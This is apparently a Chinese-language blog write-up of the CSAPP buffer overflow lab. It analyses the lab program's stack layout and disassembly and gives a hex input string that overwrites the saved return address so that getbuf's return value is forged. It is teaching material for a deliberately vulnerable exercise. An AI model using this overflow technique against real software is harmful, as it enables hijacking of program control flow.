CSAPP:缓冲区溢出攻击实验(Part 2)
Posted on Wed, 16 Mar 2011 18:19:20 -1100有了反汇编,在结合源码来找思路:
1:
main函数里,作者使用了一个little hack trick
1 2 3 4 5 6 7 8 9 10 11 12 13 | int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = ((( int ) buf) & 0xFFF); int *space = ( int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ test(); return 0; } |
因为栈是向下生长,且linux有一种对栈的随机保护机制,即最初的ebp在2^23字节范围内浮动
而linux通常一个page的大小为4k;
所以offset & 0xfff 即可得到当前的esp所在的页的 剩余字节数。
-------4k
esp
-------0
esp的低12位即为当前页的剩余字节数。main的作用之一就是确保在进入test函数时,使用的是一个全新的page.同时也确保了进入test时,ebp为一确定值。
根据汇编流程,对栈帧的分析 可以得到如下的栈结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | addr content bfffefdc 080485a5(eip return to main) bfffefd8 bffff6e8(save ebp for main) bfffefd8 test 's ebp . . bfffefcc **ebp-12**,the return value of getbuf . . . . bfffefb0 esp(for test ) bfffefac 08048543(eip return to test ) bfffefa8 bfffefd8(save ebp for test ) . . . bfffef94 &buf . . . bfffef80 buf(arg) bfffef7c 08048524 (eip return to getbuf) bfffef78 ebp getxs's ebp |
于是有思路了,通过向buf写入多于12字节的内容,达到改写栈的效果,而主要改写的内容则为ebp(bfffefa8),eip(bfffefac),esp(bfffefb0).
再仔细研究,反汇编test的部分代码:printf("getbuf returned 0x%x\n", val);
1 2 3 4 5 6 7 | 0x08048539 <+14>: e8 3a fe ff ff call 0x8048378 <printf@plt> 0x0804853e <+19>: e8 d0 ff ff ff call 0x8048513 <getbuf> 0x08048543 <+24>: 89 45 f4 mov %eax,-0xc(%ebp) => 0x08048546 <+27>: b8 91 86 04 08 mov $0x8048691,%eax 0x0804854b <+32>: 8b 55 f4 mov -0xc(%ebp),%edx 0x0804854e <+35>: 89 54 24 04 mov %edx,0x4(%esp) 0x08048552 <+39>: 89 04 24 mov %eax,(%esp) |
从箭头的上面一行开始看,getbuf的返回值在eax中。之后eax存入-0xc(%ebp),字符串地址存入edx,然后printf的参数一次进栈(由右至左),特别注意getbuf返回值的动向:eax存入-0xc(%ebp),-0xc(%ebp)作为参数存入0x4(%esp).从这里发现:只要让eax对-0x(%ebp)的赋值失效,然后在-0x(%ebp)处写入自己希望的值,即可让该值如栈,达到"改写" val的效果.那怎么让eax对-0x(%ebp)的赋值失效?可以通过getbuf返回时,要恢复的eip处下手,如果让eip运行的指令地址为0x08048546即可(原为0x08048543)。两eip差为三。则可以将bffefac处的内容改写为0x08048546.之后为了顺利返回,保持原本的栈结构。bffefa8(ebp)及bfffefb0(esp)可保持原样写入。最后一步,由于-0xc(%ebp)的赋值为“未初始化”,最后向该地址写入 “希望的内容”后,该内容即可作为printf的参数了。done.
00000000 00000001 00000002 00000003 00000004 d8efffbf 46850408 00f0ffbf 00000008 00000009 0000000a 0000000b 0000000c 0000000d efbeadde
不要忘记忽略大小端的影响!本输入内容为小端环境!
最后根据这个思路,在生成执行文件是若不使用-fno-stack-protector,也应该可以实现该效果,就不多说了。欢迎讨论,提供新思路:D